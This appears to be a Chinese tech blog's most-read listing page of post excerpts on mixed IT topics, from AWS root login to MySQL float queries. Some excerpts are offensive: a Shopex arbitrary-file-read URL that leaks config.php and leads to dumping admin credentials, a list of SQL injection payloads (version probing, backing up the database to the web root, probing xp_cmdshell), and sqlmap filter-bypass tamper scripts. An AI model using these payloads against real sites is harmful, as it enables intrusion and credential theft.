摘要：
今天将图片服务切到使用了cdn的机器上面去，然后就部分图片报如下图错误“HTTP Error 400. The request URL is invalid” 看到这种错误信息，一般的开发者心中可能会猜测到两个原因 1.链接中有特殊字符 2.链接长度过长（似乎长度过长也不是这个错，模糊不清，忘记了） 阅读全文
阅读排行榜
在aws ec2上使用root用户登录
2018-09-28 09:35 by 狼人:-), 1391 阅读, 收藏,
摘要：
aws ec2默认是使用ec2-user账号登陆的，对很多文件夹是没有权限的。如何使用root账号执行命令就是一个问题了。解决办法如下： 1.根据官网提供的方法登录连接到EC2服务器（官网推荐windows用户使用PUTTY连接） 2.创建root的密码，输入如下命令： 3.然后会提示你输入new 阅读全文
针对ntlmssp攻击的本机安全攻防记
2020-10-29 23:07 by 狼人:-), 1385 阅读, 收藏,
摘要：
进行NTLM策略控制，彻底阻止LM响应 应用以上安全策略顿时清净了许多。 阅读全文
Ghost硬盘对拷
2016-01-11 22:48 by 狼人:-), 1347 阅读, 收藏,
摘要：
Ghost硬盘对拷 优点：全盘完全100%对拷，包括原有操作系统也可使用。新硬盘对拷结束后，可直接插上电脑使用。消耗时间最短。 困难：对于第一次操作Ghost对拷的新人来说，需要严格对照图片步骤教程。一旦操作失误，可能导致原有母盘数据不可逆转丢失。步骤一：打开“To Disk”对拷选项 （1） 首选... 阅读全文
MySql中float类型的字段的查询
2021-08-13 19:39 by 狼人:-), 1340 阅读, 收藏,
摘要：
在MYSQL中，字段类型为FLOAT的字段，如果不指定FLOAT的长度和小数点位数，要根据FLOAT字段的值精确查找，结果会是空，这也是初学者经常会犯的一个错误。我们下来看一些例子： CREATE TABLE `NewTable` (`id` int(11) NOT NULL AUTO_INCREM 阅读全文
sqlmap绕过过滤的tamper脚本分类汇总
2020-10-30 10:10 by 狼人:-), 1340 阅读, 收藏,
摘要：
一、支持所有的数据库 1、apostrophemask.py 作用：用utf8代替引号 ("1 AND '1'='1")替换后'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 2、base64encode.py 作用：用base64编码替换 ("1' AND SLEEP( 阅读全文
SQLite部署-无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块
2016-08-23 09:44 by 狼人:-), 1338 阅读, 收藏,
摘要：
近期刚使用SQLite，主要引用的是System.Data.SQLite.dll这个dll，在部署到测试环境时报无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)。 后上官网查了下，sqlite-netFx40-bina 阅读全文
Shopex V4.8.4|V4.8.5下载任意文件漏洞
2011-03-28 08:25 by 狼人:-), 1335 阅读, 收藏,
摘要：
利用前提是程序所应用的数据库服务器而且要是可以外连的，这个很关键。自己搞站时候遇见的站，网上找不到该版本的漏洞，自己拿回源码读了一下。找到一个漏洞，还是发出来吧。读取任意文件漏洞：http://www.xx.com/shopadmin/index.php?ctl=sfile&act=getDB&p[0]=. . /. . /config/config.php复制代码可以连上数据库。mysql -h1.1..1.1 -uuser -ppassuse yourbasename;select * from sdb_operators;得到管理员用户密码./shopadmin/ 登陆后 阅读全文
很全的SQL注入语句，有SQL漏洞的都可以拿下
2011-12-28 08:51 by 狼人:-), 1332 阅读, 收藏,
摘要：
1、返回的是连接的数据库名 and db_name()>02、作用是获取连接用户名 and user>03、将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--4、显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判断xp_cmdshell扩展存储过程是否存在 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = & 阅读全文
浙公网安备 33010602011771号